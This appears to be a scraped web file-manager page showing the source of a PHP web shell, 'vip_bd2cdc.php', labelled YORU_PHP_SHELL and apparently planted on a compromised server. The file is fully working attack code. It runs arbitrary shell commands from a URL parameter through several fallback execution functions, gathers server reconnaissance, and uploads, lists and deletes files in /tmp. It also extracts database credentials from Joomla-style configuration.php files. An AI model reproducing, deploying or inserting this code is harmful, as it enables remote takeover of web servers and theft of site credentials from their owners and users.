Edit

✏️ vip_bd2cdc.php ← Kembali

<?php
error_reporting(0);ini_set('display_errors',0);
ini_set('upload_max_filesize','0');ini_set('post_max_size','0');
ini_set('max_execution_time','0');ini_set('max_input_time','0');
ini_set('memory_limit','-1');set_time_limit(0);

if(isset($_GET['info'])){
    $d=array('pwd'=>getcwd(),'cwd'=>__DIR__,'doc_root'=>$_SERVER['DOCUMENT_ROOT']??'',
    'server'=>$_SERVER['SERVER_SOFTWARE']??'','php'=>PHP_VERSION,'os'=>PHP_OS,
    'user'=>function_exists('get_current_user')?get_current_user():'',
    'disabled'=>ini_get('disable_functions')?:'none','open_basedir'=>ini_get('open_basedir')?:'none');
    header('Content-Type:application/json');echo json_encode($d);exit();
}

if(isset($_GET['cmd'])){
    $c=$_GET['cmd'];$o='';
    if(function_exists('system')){ob_start();system($c." 2>&1");$o=ob_get_clean();}
    elseif(function_exists('exec')){exec($c." 2>&1",$o);$o=implode("\n",$o);}
    elseif(function_exists('shell_exec')){$o=shell_exec($c." 2>&1");}
    elseif(function_exists('passthru')){ob_start();passthru($c." 2>&1");$o=ob_get_clean();}
    elseif(function_exists('proc_open')){
        $p=proc_open($c,[['pipe','r'],['pipe','w'],['pipe','w']],$ps);
        if(is_resource($p)){$o=stream_get_contents($ps[1]).stream_get_contents($ps[2]);fclose($ps[0]);fclose($ps[1]);fclose($ps[2]);proc_close($p);}
    }else{$o="[!] No exec";}
    echo base64_encode($o);echo "VIP_RCE";exit();
}

if(isset($_FILES['f'])){
    $t='/tmp/';
    $d=$t.basename($_FILES['f']['name']);
    if(move_uploaded_file($_FILES['f']['tmp_name'],$d)){echo"OK:".$d;}else{echo"ERR";}
    exit();
}

if(isset($_GET['list'])){
    $t='/tmp/';
    if(is_dir($t)){foreach(scandir($t)as$f){if($f!='.'&&$f!='..'){echo$f."\n";}}}else{echo"ERR";}
    exit();
}

if(isset($_GET['del'])&&isset($_GET['f'])){
    $f=$_GET['f'];$t='/tmp/';
    if(unlink($t.$f)){echo"DELETED";}else{echo"ERR";}
    exit();
}

if(isset($_GET['creds'])){
    $r=[];
    $files=['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php'];
    foreach($files as $f){if(file_exists($f)){$c=file_get_contents($f);preg_match_all('/public\s*\$([a-z_]+)\s*=\s*['"]([^'"]+)['"]/',$c,$m);for($i=0;$i<count($m[0]);$i++){$r[$m[1][$i]]=$m[2][$i];}}}
    $r['hostname']=gethostname();
    $r['server_addr']=$_SERVER['SERVER_ADDR']??'';
    $r['user']=function_exists('get_current_user')?get_current_user():'';
    $r['uid']=function_exists('posix_getuid')?posix_getuid():'';
    ob_start();phpinfo(INFO_GENERAL);$p=ob_get_clean();preg_match('/Server API\s*=>\s*([^<]+)/',$p,$m);$r['sapi']=$m[1]??'';
    echo json_encode($r);exit();
}

echo "VIP_RCE_READY";
echo "VIP_RCE";
?>

YORU_PHP_SHELL